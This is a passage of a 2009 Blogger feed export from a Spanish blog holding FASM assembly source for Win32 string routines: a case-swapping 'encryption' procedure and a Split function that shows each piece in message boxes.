rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cTamaño&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;contar&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cTamaño&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Start&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;contar&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;len&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;len&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'A'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jb&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;91&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jge&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;revisar&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;seguir&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;seguir&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Z"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jbe&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Mayuscula&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"z"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jbe&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Miniscula&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir &lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;revisar&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;96&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jg&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;seguir&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jbe&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Mayuscula&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;         &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Si es Mayuscula la pasamos a miniscula&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0x20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;Miniscula&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;         &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Si es miniscula la pasamos a Mayuscula&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0x20&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;end&lt;/span&gt; start&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-1673522831550625822?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/1673522831550625822/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=1673522831550625822&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/1673522831550625822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/1673522831550625822'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/05/srcencriptacionchangecase.html' title='[SRC]EncriptacionChangeCase'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-4184903645177585918</id><published>2009-05-05T01:41:00.000-07:00</published><updated>2009-05-05T01:59:01.346-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>[SRC]Split</title><content type='html'>&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;data&lt;/span&gt;&lt;br&gt;Separador &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"/()·/"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(173, 173, 173); font-style: italic;"&gt;Cade&lt;/span&gt;na &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;db&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'Soy/()·/una/()·/cadena'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;Cantidad &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br&gt;buffer rb MAX_PATH&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br&gt;start&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Split&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Cadena&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Separador&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;buffer&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Cantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Separador&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;Cantidad&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;buffer&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; MessageBox&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;loop&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; cCadena(in) = Cadena a partir&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; cSeparador(in) = Separador que se usara para partir la cadena&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; cBuffer(out) = A donde se guardara la cadena partida&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; Retorna la cantidad de separadores encontrados&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Split&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cSeparador&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cBuffer&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;xor&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; copy&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cSeparador&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cBuffer&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &amp;nbsp;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;salir&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;cl&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;esi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: 